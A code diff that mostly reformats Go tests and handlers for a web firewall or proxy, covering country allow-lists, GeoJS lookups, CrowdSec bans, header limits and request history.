wantCoreRuleSet(t, line, new(5), 942100) wantCoreRuleSet(t, line, new(5), 942100)
@@ -638,9 +508,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{ detail := map[string]any{
"rule_ids": []int{ "rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
942100,
}, "score": 5, "method": http.MethodGet,
"path": sqlInjection, "path": sqlInjection,
} }
if tc.alertMode != "" { if tc.alertMode != "" {
@@ -659,10 +527,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
}) })
if queue.Suppressed() != 1 { if queue.Suppressed() != 1 {
t.Errorf( t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
} }
}) })
} }
+1 -5
View File
@@ -18,11 +18,7 @@ type countries struct{}
func (countries) name() string { return "countries" } func (countries) name() string { return "countries" }
func (countries) check( func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
allowed := rq.h.config.ExclusivelyAllowedCountries allowed := rq.h.config.ExclusivelyAllowedCountries
country := rq.line.Country country := rq.line.Country
+21 -79
View File
@@ -52,10 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1) calls.Add(1)
}) })
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -71,25 +68,14 @@ func TestCountryLists(t *testing.T) {
line := out.endedLines(t, i+1)[i] line := out.endedLines(t, i+1)[i]
if line.ASN != sent.asn || line.ASName != sent.asName || if line.ASN != sent.asn || line.ASName != sent.asName ||
line.Country != sent.country { line.Country != sent.country {
t.Errorf( t.Errorf("log line has %q, %q and %q, want %q, %q and %q",
"log line has %q, %q and %q, want %q, %q and %q", line.ASN, line.ASName, line.Country,
line.ASN, sent.asn, sent.asName, sent.country)
line.ASName,
line.Country,
sent.asn,
sent.asName,
sent.country,
)
} }
if slices.Contains(tc.refused, sent.client) { if slices.Contains(tc.refused, sent.client) {
wantStatus(t, got, http.StatusForbidden) wantStatus(t, got, http.StatusForbidden)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied)
t,
line,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
} else { } else {
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
wantLine(t, line, http.StatusOK, requestlog.ActionForward) wantLine(t, line, http.StatusOK, requestlog.ActionForward)
@@ -112,19 +98,11 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
lookupTimeout: "1h", allowedCountries: "de", lookupTimeout: "1h", allowedCountries: "de",
}) })
line := s.get( line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
fromKP,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
wantHeuristic(t, line, "countries", wantHeuristic(t, line, "countries",
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`) `{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
line = s.get( line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
unplaced,
http.StatusForbidden,
requestlog.ActionCountryDenied,
)
wantHeuristic(t, line, "countries", wantHeuristic(t, line, "countries",
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`) `{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
} }
@@ -144,13 +122,7 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
allowedCountries: "de", allowedCountries: "de",
}) })
req := newRequest( req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body"))
t,
http.MethodPost,
addr,
"/",
strings.NewReader("a body"),
)
req.Header.Set(forwardedFor, fromKP) req.Header.Set(forwardedFor, fromKP)
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
@@ -177,9 +149,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
return return
} }
answer := []geojsAnswer{ answer := []geojsAnswer{{IP: r.URL.Query().Get("ip"), CountryCode: "DE"}}
{IP: r.URL.Query().Get("ip"), CountryCode: "DE"},
}
err := json.NewEncoder(w).Encode(answer) err := json.NewEncoder(w).Encode(answer)
if err != nil { if err != nil {
@@ -239,10 +209,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
env := map[string]string{ env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -263,12 +230,8 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
for _, field := range []string{"asn", "as_name", "country"} { for _, field := range []string{"asn", "as_name", "country"} {
value, present := line.fields[field] value, present := line.fields[field]
if !present || value != "" { if !present || value != "" {
t.Errorf( t.Errorf("log line for %q has %s %v, want an empty one",
"log line for %q has %s %v, want an empty one", line.ClientIP, field, value)
line.ClientIP,
field,
value,
)
} }
} }
} }
@@ -280,16 +243,10 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
req.Header.Set(forwardedFor, fromDE) req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK) wantStatus(t, do(t, req), http.StatusOK)
waitUntil( waitUntil(func() bool { return slices.Contains(asked(), fromDE) })
func() bool { return slices.Contains(asked(), fromDE) },
)
if got := asked(); !slices.Equal(got, []string{fromDE}) { if got := asked(); !slices.Equal(got, []string{fromDE}) {
t.Errorf( t.Errorf("GeoJS was asked about %v, want %s alone", got, fromDE)
"GeoJS was asked about %v, want %s alone",
got,
fromDE,
)
} }
}) })
} }
@@ -318,16 +275,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
addr, out := startProxyWithGeoJS( addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
t, trustedProxies: trustLocalhost,
app.URL, allowedCountries: "de",
geojsURL, allowNets: tc.allowNets,
map[string]string{ })
trustedProxies: trustLocalhost,
allowedCountries: "de",
allowNets: tc.allowNets,
},
)
wantAnswers(t, addr, out, []sentRequest{ wantAnswers(t, addr, out, []sentRequest{
{"10.0.0.7", tc.status, tc.action}, {"10.0.0.7", tc.status, tc.action},
@@ -431,19 +383,9 @@ type geojsAnswer struct {
func answerAbout(addr string) geojsAnswer { func answerAbout(addr string) geojsAnswer {
switch addr { switch addr {
case fromDE: case fromDE:
return geojsAnswer{ return geojsAnswer{IP: addr, ASN: 64496, ASName: asNameDE, CountryCode: "DE"}
IP: addr,
ASN: 64496,
ASName: asNameDE,
CountryCode: "DE",
}
case fromKP: case fromKP:
return geojsAnswer{ return geojsAnswer{IP: addr, ASN: 64511, ASName: asNameKP, CountryCode: "KP"}
IP: addr,
ASN: 64511,
ASName: asNameKP,
CountryCode: "KP",
}
} }
return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"} return geojsAnswer{IP: addr, ASN: 64512, ASName: "Unknown"}
+1 -5
View File
@@ -21,11 +21,7 @@ type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" } func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check( func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now) decision, listed := rq.crowdSecDecisionInForce(now)
if !listed { if !listed {
return nil return nil
+27 -79
View File
@@ -25,9 +25,7 @@ const (
bouncerKey = "crowdsec-key-0123456789abcdef" bouncerKey = "crowdsec-key-0123456789abcdef"
) )
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds( func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{ s, clk, server, queue := startWithAlerts(t, map[string]string{
@@ -41,56 +39,44 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour)) expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends. // Its first request is refused, and bans it until the decision ends.
banned := requestlog.ActionTemporarilyBanned line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
line := s.get(client, http.StatusForbidden, banned)
wantReputation(t, line, decisionsURL) wantReputation(t, line, decisionsURL)
if line.BanExpires != expires { if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
line.BanExpires, expires)
} }
listed := []bans.ReputationHit{{Source: decisionsURL}} listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec || if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) || !held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" || held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) || !reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 { held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf( t.Fatalf("bans %+v, want one for crowdsec of four hours, with the list and "+
"bans %+v, want one for crowdsec of four hours, with the list and "+ "the request in its notes", held)
"the request in its notes",
held,
)
} }
// The listing raises a reputation_hit alert, and the ban its own. // The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit || if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" || waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual( !reflect.DeepEqual(waiting[1], banAlert(alerts.EventBan, fetched, client, held[0],
waiting[1], expires)) {
banAlert(alerts.EventBan, fetched, client, held[0], t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban's",
expires), waiting)
) {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting,
)
} }
// Each request while the ban lasts is refused under it, as under any // Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through. // ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second) clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, banned) line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
wantReputation(t, line) wantReputation(t, line)
if line.BanExpires != expires { if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s", t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires)
line.BanExpires, expires)
} }
clk.advance(time.Second) clk.advance(time.Second)
@@ -105,12 +91,8 @@ func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
`instance="`+alertInstance+`"}`, 1) `instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1) wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0) wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric( wantMetric(t, metrics, "sww_reputation_last_fetch_timestamp_seconds"+labels,
t, float64(fetched.Unix()))
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()),
)
} }
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) { func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
@@ -123,24 +105,13 @@ func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+ `"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`) `"value": "`+client+`"}]`)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client, wantHeuristic(t, line, "crowdsec", `{"scenario": "crowdsecurity/ssh-bf", `+
http.StatusForbidden, `"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`)
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(
t,
line,
"crowdsec",
`{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
)
wantTags(t, line, "crowdsec") wantTags(t, line, "crowdsec")
} }
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt( func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{ s, clk, server := startWithClock(t, "", map[string]string{
@@ -158,44 +129,24 @@ func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
// Just before its end, the decision bans a client in the netblock, and // Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64. // one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond) clk.advance(time.Minute - time.Nanosecond)
s.get( s.get("198.51.100.7", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
"198.51.100.7", s.get("2001:db8::9", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
http.StatusForbidden, s.get("2001:db8::5", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::9",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::5",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
// Once it has ended, it bans no other client, and the bans it made end // Once it has ended, it bans no other client, and the bans it made end
// with it. // with it.
clk.advance(time.Nanosecond) clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} { for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation( wantReputation(t, s.get(from, http.StatusOK, requestlog.ActionForward))
t,
s.get(from, http.StatusOK, requestlog.ActionForward),
)
} }
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 { if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf( t.Errorf("%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+ "2001:db8::/64", made)
"2001:db8::/64",
made,
)
} }
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len( if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(held) != 1 {
held,
) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held) t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
} }
} }
@@ -224,11 +175,8 @@ func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan || if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec || waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe { waiting[1].Detail["mode"] != observe {
t.Errorf( t.Errorf("alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+ "marked observe", waiting)
"marked observe",
waiting,
)
} }
} }
+1 -5
View File
@@ -24,11 +24,7 @@ type headerLimits struct{}
func (headerLimits) name() string { return "header_limits" } func (headerLimits) name() string { return "header_limits" }
func (headerLimits) check( func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
_ context.Context,
rq *request,
_ time.Time,
) *verdict {
fields, cookies := rq.headerCounts() fields, cookies := rq.headerCounts()
if fields <= maxHeaderFields && cookies <= maxCookies { if fields <= maxHeaderFields && cookies <= maxCookies {
return nil return nil
+6 -20
View File
@@ -13,11 +13,7 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
// With a limit of one request a minute, any request counted before // With a limit of one request a minute, any request counted before
// the last one would have it refused. // the last one would have it refused.
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
t,
"",
map[string]string{rateLimitPerMinute: "1"},
)
const ( const (
healthChecks = 3 healthChecks = 3
@@ -28,15 +24,9 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
got := s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "", got := s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "",
http.StatusOK) http.StatusOK)
if string(got.body) != "ok\n" || if string(got.body) != "ok\n" || got.header.Get("Content-Type") != contentType {
got.header.Get("Content-Type") != contentType { t.Errorf("health endpoint answered %q with Content-Type %q, want ok "+
t.Errorf( "with %q", got.body, got.header.Get("Content-Type"), contentType)
"health endpoint answered %q with Content-Type %q, want ok "+
"with %q",
got.body,
got.header.Get("Content-Type"),
contentType,
)
} }
} }
@@ -44,12 +34,8 @@ func TestHealthEndpointCountsTowardNoLimit(t *testing.T) {
for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] { for _, line := range s.out.endedLines(t, healthChecks)[:healthChecks] {
if line.ResponseContentType != contentType { if line.ResponseContentType != contentType {
t.Errorf( t.Errorf("health check's log line has response_content_type %q, "+
"health check's log line has response_content_type %q, "+ "want %q", line.ResponseContentType, contentType)
"want %q",
line.ResponseContentType,
contentType,
)
} }
} }
} }
+1 -4
View File
@@ -117,10 +117,7 @@ func (rq *request) runHeuristics(
// after_answer_heuristic_figures name the heuristic that gave a verdict, and // after_answer_heuristic_figures name the heuristic that gave a verdict, and
// give its figures, so that heuristic and heuristic_figures still name the one // give its figures, so that heuristic and heuristic_figures still name the one
// that refused the request. ctx is the request's own context. // that refused the request. ctx is the request's own context.
func (rq *request) runBanningHeuristics( func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
ctx context.Context,
list []heuristic,
) {
name, v := rq.firstVerdict(ctx, list, rq.h.now()) name, v := rq.firstVerdict(ctx, list, rq.h.now())
if v != nil { if v != nil {
rq.line.AfterAnswerHeuristic = name rq.line.AfterAnswerHeuristic = name
+7 -29
View File
@@ -60,11 +60,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) { func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{maxTrackedClients: "2"})
t,
"",
map[string]string{maxTrackedClients: "2"},
)
// The third client drops the least recently seen, the first, with its // The third client drops the least recently seen, the first, with its
// history. // history.
@@ -74,12 +70,8 @@ func TestTableOfClientsHoldsAtMostMaxTrackedClients(t *testing.T) {
_, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32")) _, held := server.Limiter.Client(netip.MustParsePrefix("192.0.2.1/32"))
if server.Limiter.Len() != 2 || held { if server.Limiter.Len() != 2 || held {
t.Errorf( t.Errorf("the table holds %d clients, the first among them: %t; want 2, "+
"the table holds %d clients, the first among them: %t; want 2, "+ "without it", server.Limiter.Len(), held)
"without it",
server.Limiter.Len(),
held,
)
} }
} }
@@ -92,10 +84,7 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
}) })
addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil) addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil)
got := do( got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")))
t,
newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc")),
)
wantStatus(t, got, http.StatusOK) wantStatus(t, got, http.StatusOK)
out.endedLine(t) out.endedLine(t)
@@ -109,19 +98,9 @@ func TestHistoryCountsTheBodiesEachWay(t *testing.T) {
func TestOwnEndpointsAreNotInTheHistory(t *testing.T) { func TestOwnEndpointsAreNotInTheHistory(t *testing.T) {
t.Parallel() t.Parallel()
s, _, server := startWithClock( s, _, server := startWithClock(t, "", map[string]string{metricsToken: token})
t,
"",
map[string]string{metricsToken: token},
)
s.ownEndpointRequest( s.ownEndpointRequest("", http.MethodGet, waf.HealthPath, "", http.StatusOK)
"",
http.MethodGet,
waf.HealthPath,
"",
http.StatusOK,
)
s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "", s.ownEndpointRequest("", http.MethodGet, waf.MetricsPath, "",
http.StatusUnauthorized) http.StatusUnauthorized)
s.scrape() s.scrape()
@@ -141,8 +120,7 @@ func TestPathUnderTheOwnPrefixIsNeitherForwardedNorRefused(t *testing.T) {
out.endedLine(t) out.endedLine(t)
history := historyOf(t, server, localhost) history := historyOf(t, server, localhost)
if history.Requests != 1 || history.Forwarded != 0 || if history.Requests != 1 || history.Forwarded != 0 || history.Refused != 0 {
history.Refused != 0 {
t.Errorf("history counts %d requests, %d forwarded and %d refused, "+ t.Errorf("history counts %d requests, %d forwarded and %d refused, "+
"want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused) "want 1, 0 and 0", history.Requests, history.Forwarded, history.Refused)
} }
+1 -2
View File
@@ -105,6 +105,5 @@ func setLookupHeaders(header http.Header, asn, country string) {
// canBePlaced reports whether a lookup can place addr: private, loopback // canBePlaced reports whether a lookup can place addr: private, loopback
// and link-local addresses have no AS number or country. // and link-local addresses have no AS number or country.
func canBePlaced(addr netip.Addr) bool { func canBePlaced(addr netip.Addr) bool {
return !addr.IsPrivate() && !addr.IsLoopback() && return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast()
!addr.IsLinkLocalUnicast()
} }
+29 -98
View File
@@ -24,9 +24,7 @@ type asnAndCountry struct{ asn, asName, country string }
// lookup database. // lookup database.
const fileSource = "file" const fileSource = "file"
func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt( func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// The stand-in for GeoJS answers only once released. A request that // The stand-in for GeoJS answers only once released. A request that
@@ -47,10 +45,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
} { } {
got := asnAndCountry{line.ASN, line.ASName, line.Country} got := asnAndCountry{line.ASN, line.ASName, line.Country}
if got != (asnAndCountry{}) { if got != (asnAndCountry{}) {
t.Errorf( t.Errorf("log line has %+v before GeoJS answered, want nothing", got)
"log line has %+v before GeoJS answered, want nothing",
got,
)
} }
} }
@@ -85,12 +80,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
// GeoJS was asked about each client once, fromKP after fromDE, whose // GeoJS was asked about each client once, fromKP after fromDE, whose
// request was under way when fromKP came. // request was under way when fromKP came.
if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) { if got := asked(); !slices.Equal(got, []string{fromDE, fromKP}) {
t.Errorf( t.Errorf("GeoJS was asked about %v, want %s and %s", got, fromDE, fromKP)
"GeoJS was asked about %v, want %s and %s",
got,
fromDE,
fromKP,
)
} }
} }
@@ -137,9 +127,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
// for GeoJS. The second request goes on at once, and is counted. // for GeoJS. The second request goes on at once, and is counted.
clk.advance(2500 * time.Millisecond) clk.advance(2500 * time.Millisecond)
server.GeoJS.Load([]lookup.Answer{{ server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix( Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
fromDE + "/32",
), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(), Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}}) }})
wantStatus(t, do(t, requestFromDE()), http.StatusOK) wantStatus(t, do(t, requestFromDE()), http.StatusOK)
@@ -152,12 +140,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
t.Fatalf("first request: %v", err) t.Fatalf("first request: %v", err)
} }
wantLine( wantLine(t, out.endedLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
t,
out.endedLines(t, 2)[1],
http.StatusOK,
requestlog.ActionForward,
)
// The third request's count holds all three: the first was counted // The third request's count holds all three: the first was counted
// when it went on, in the minute under way, and the second's count // when it went on, in the minute under way, and the second's count
@@ -166,32 +149,22 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
wantStatus(t, do(t, requestFromDE()), http.StatusOK) wantStatus(t, do(t, requestFromDE()), http.StatusOK)
if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 { if got := out.endedLines(t, 3)[2].Counts.Minute; got != 3 {
t.Errorf( t.Errorf("the third request's count in the minute is %v, want 3", got)
"the third request's count in the minute is %v, want 3",
got,
)
} }
} }
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert( func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)} clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)}
addr, out, server, queue := startProxyWithAlerts( addr, out, server, queue := startProxyWithAlerts(t, app.URL, geojsURL, clk.Now,
t,
app.URL,
geojsURL,
clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
alertWebhookURL: "https://alerts.example/sww", alertWebhookURL: "https://alerts.example/sww",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}, })
)
s := &sender{t: t, addr: addr, out: out} s := &sender{t: t, addr: addr, out: out}
// The answer is kept before the requests, so GeoJS is not asked, and // The answer is kept before the requests, so GeoJS is not asked, and
@@ -240,17 +213,11 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
t.Parallel() t.Parallel()
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
s, clk, server := startWithClock( s, clk, server := startWithClock(t, geojsURL, map[string]string{lookupSource: "off"})
t,
geojsURL,
map[string]string{lookupSource: "off"},
)
// Even an answer kept from before is not used. // Even an answer kept from before is not used.
server.GeoJS.Load([]lookup.Answer{{ server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix( Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
fromDE + "/32",
), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(), Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}}) }})
@@ -263,13 +230,8 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
} }
} }
if h := historyOf(t, server, fromDE); h.ASN != "" || if h := historyOf(t, server, fromDE); h.ASN != "" || !h.LookedUp.IsZero() {
!h.LookedUp.IsZero() { t.Errorf("history has %q, looked up at %s, want no lookup", h.ASN, h.LookedUp)
t.Errorf(
"history has %q, looked up at %s, want no lookup",
h.ASN,
h.LookedUp,
)
} }
if len(asked()) != 0 { if len(asked()) != 0 {
@@ -277,9 +239,7 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) {
} }
} }
func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked( func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
@@ -337,9 +297,7 @@ func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(
} }
} }
func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved( func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
var ( var (
